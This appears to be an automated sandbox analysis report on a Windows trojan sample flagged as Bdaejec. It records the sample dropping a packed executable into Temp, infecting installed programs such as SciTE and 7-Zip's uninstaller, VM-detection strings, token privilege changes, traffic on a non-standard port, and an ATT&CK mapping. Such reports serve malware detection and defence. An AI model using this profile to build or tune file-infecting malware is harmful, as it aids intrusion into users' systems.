Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameE2EECore.dll@ vs 8VB4lVuZk3.exe
Source: 8VB4lVuZk3.exe, 00000000.00000002.2944368391.000000006D00F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameE2EECore.dll@ vs 8VB4lVuZk3.exe

Source: 8VB4lVuZk3.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: XFAGWZ.exe.0.dr

Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: XFAGWZ.exe.0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: XFAGWZ.exe.0.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: classification engine

Classification label: mal100.spre.troj.evad.winEXE@5/12@1/1

Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe

Code function: 1_2_006B119F GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,CloseHandle,

1_2_006B119F

Source: C:\Users\user\Desktop\8VB4lVuZk3.exe

Code function: 0_2_6C8A6620 CoCreateInstance,OleRun,

0_2_6C8A6620

Source: C:\Users\user\Desktop\8VB4lVuZk3.exe

File created: C:\Users\user\Desktop\data

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5356

Source: C:\Users\user\Desktop\8VB4lVuZk3.exe

File created: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe

Jump to behavior

Source: C:\Users\user\Desktop\8VB4lVuZk3.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 8VB4lVuZk3.exe	String found in binary or memory: http://localhost/add_user
Source: 8VB4lVuZk3.exe	String found in binary or memory: /add_user

Source: unknown	Process created: C:\Users\user\Desktop\8VB4lVuZk3.exe "C:\Users\user\Desktop\8VB4lVuZk3.exe"
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Process created: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe C:\Users\user\AppData\Local\Temp\XFAGWZ.exe
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5356 -s 1224
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Process created: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Jump to behavior

Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Section loaded: quserex.dll	Jump to behavior
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Section loaded: wintypes.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 8VB4lVuZk3.exe

Static file information: File size 4354058 > 1048576

Source: 8VB4lVuZk3.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x2e3000

Source:	Binary string: C:\Program Files (x86)\e\lib\e2ee.pdb source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr
Source:	Binary string: -C:\Program Files (x86)\e\lib\e2ee.pdbxw source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr
Source:	Binary string: C:\Data\svn\autoit\branch_3.3.16\bin\SciTE\SciTE.pdb source: SciTE.exe.1.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe

Unpacked PE file: 1.2.XFAGWZ.exe.6b0000.0.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: ub

Source: 8VB4lVuZk3.exe	Static PE information: section name: ub
Source: XFAGWZ.exe.0.dr	Static PE information: section name: .aspack
Source: XFAGWZ.exe.0.dr	Static PE information: section name: .adata
Source: Uninstall.exe.1.dr	Static PE information: section name: EpNuZ
Source: MyProg.exe.1.dr	Static PE information: section name: PELIB
Source: MyProg.exe.1.dr	Static PE information: section name: Y\|uR
Source: SciTE.exe.1.dr	Static PE information: section name: u

Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6CC22E1A push ecx; ret	0_2_6CC22E2D
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6CC139E5 push ecx; ret	0_2_6CC139F8
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Code function: 1_2_006B1638 push dword ptr [006B3084h]; ret	1_2_006B170E
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Code function: 1_2_006B600A push ebp; ret	1_2_006B600D
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Code function: 1_2_006B2D9B push ecx; ret	1_2_006B2DAB
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Code function: 1_2_006B6014 push 006B14E1h; ret	1_2_006B6425

Source: XFAGWZ.exe.0.dr	Static PE information: section name: .text entropy: 7.81169422100848
Source: Uninstall.exe.1.dr	Static PE information: section name: EpNuZ entropy: 6.933808104992655
Source: MyProg.exe.1.dr	Static PE information: section name: Y\|uR entropy: 6.934924014802639
Source: SciTE.exe.1.dr	Static PE information: section name: u entropy: 6.934667922978697

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	File created: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	File created: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	File created: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	File created: C:\Users\user\AppData\Local\Temp\E2EECore.2.7.2.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 799

Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\E2EECore.2.7.2.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_1-1063

Source: C:\Users\user\Desktop\8VB4lVuZk3.exe

API coverage: 3.0 %

Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe

Code function: 1_2_006B1718 GetSystemTimeAsFileTime followed by cmp: cmp dword ptr [ebp+08h], 02h and CTI: jne 006B1754h

1_2_006B1718

Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe

Code function: 1_2_006B29E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,

1_2_006B29E2

Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe

Code function: 1_2_006B2B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,

1_2_006B2B8C

Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Source: Amcache.hve.1.dr	Binary or memory string: VMware
Source: Amcache.hve.1.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.1.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.1.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.1.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.1.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.1.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.1.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: XFAGWZ.exe, 00000001.00000003.1695679866.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, XFAGWZ.exe, 00000001.00000003.1696071280.00000000011B5000.00000004.00000020.00020000.00000000.sdmp, XFAGWZ.exe, 00000001.00000002.1892621904.0000000001190000.00000004.00000020.00020000.00000000.sdmp, XFAGWZ.exe, 00000001.00000002.1892621904.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.1.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.1.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.1.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.1.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: 8VB4lVuZk3.exe, 00000000.00000002.2942753099.0000000000917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.1.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.1.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.1.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.1.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.1.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.1.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.1.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.1.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.1.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.1.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.1.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.1.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.1.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.1.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.1.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.1.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.1.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe

API call chain: ExitProcess graph end node

graph_1-1038

Source: C:\Users\user\Desktop\8VB4lVuZk3.exe

Code function: 0_2_00856044 mov eax, dword ptr fs:[00000030h]

0_2_00856044

Source: C:\Users\user\Desktop\8VB4lVuZk3.exe

Code function: 0_2_6CA35DF0 _free,_free,GetProcessHeap,HeapFree,

0_2_6CA35DF0

Source: C:\Users\user\Desktop\8VB4lVuZk3.exe

Code function: 0_2_6CC131F5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CC131F5

Source: SciTE.exe.1.dr

Binary or memory string: Ctrl+RightLeftDownUpDecimalMinusMultiplyDivideTabSpaceDeleteEscapeEndInsertEnterHomeForwardBackwardPLAT_WIN1PageDownPageUpMenuWinSciTEACCELSSciTEWindowContentSciTEWindowPLAT_WINNT1toolbar.largecreate.hidden.consolegbkbig5euc-krshift_jisutf-8asciilatin2latin1translation.encodingwindows-1251ScaleFactoriso-8859-5cyrillic1250iso8859-11SciTE_HOMEAppsUseLightThemeSciTE_USERHOMESciTE_HOMEPropertiesScaleFactorSoftware\Microsoft\Windows\CurrentVersion\Themes\PersonalizeEmbeddedRich Text FormatButtonShell_TrayWndUSERPROFILESciTE_HOMEHtmlHelpWHHCTRL.OCX

Source: C:\Users\user\Desktop\8VB4lVuZk3.exe

Code function: 0_2_6CC04D55 GetSystemTimeAsFileTime,__aulldiv,

0_2_6CC04D55

Source: C:\Users\user\Desktop\8VB4lVuZk3.exe

Code function: 0_2_6C806E10 e2ee_httprequestGetVersion,

0_2_6C806E10

Source: Amcache.hve.1.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.1.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.1.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.1.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Bdaejec

Source: Yara match

File source: Process Memory Space: XFAGWZ.exe PID: 5356, type: MEMORYSTR

Remote Access Functionality

Yara detected Bdaejec

Source: Yara match

File source: Process Memory Space: XFAGWZ.exe PID: 5356, type: MEMORYSTR

Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C80DFD0 e2ee_httpserver_Bindable_BindDatabasePool,	0_2_6C80DFD0
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C983860 e2ee_jstdataBindFile,	0_2_6C983860
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C8AABA0 e2ee_amqpcBindQueue,	0_2_6C8AABA0
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C8096A0 e2ee_CreateFunctionLabel_BindObject,	0_2_6C8096A0
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C80E010 e2ee_httpserver_Bindable_BindObjectMapping,	0_2_6C80E010
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C80E050 e2ee_httpserver_Bindable_BindCacheProxy,	0_2_6C80E050
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C8A4370 e2ee_adopool_BindCacheProxy,	0_2_6C8A4370

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	11 Input Capture	11 System Time Discovery	1 Taint Shared Content	11 Input Capture	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
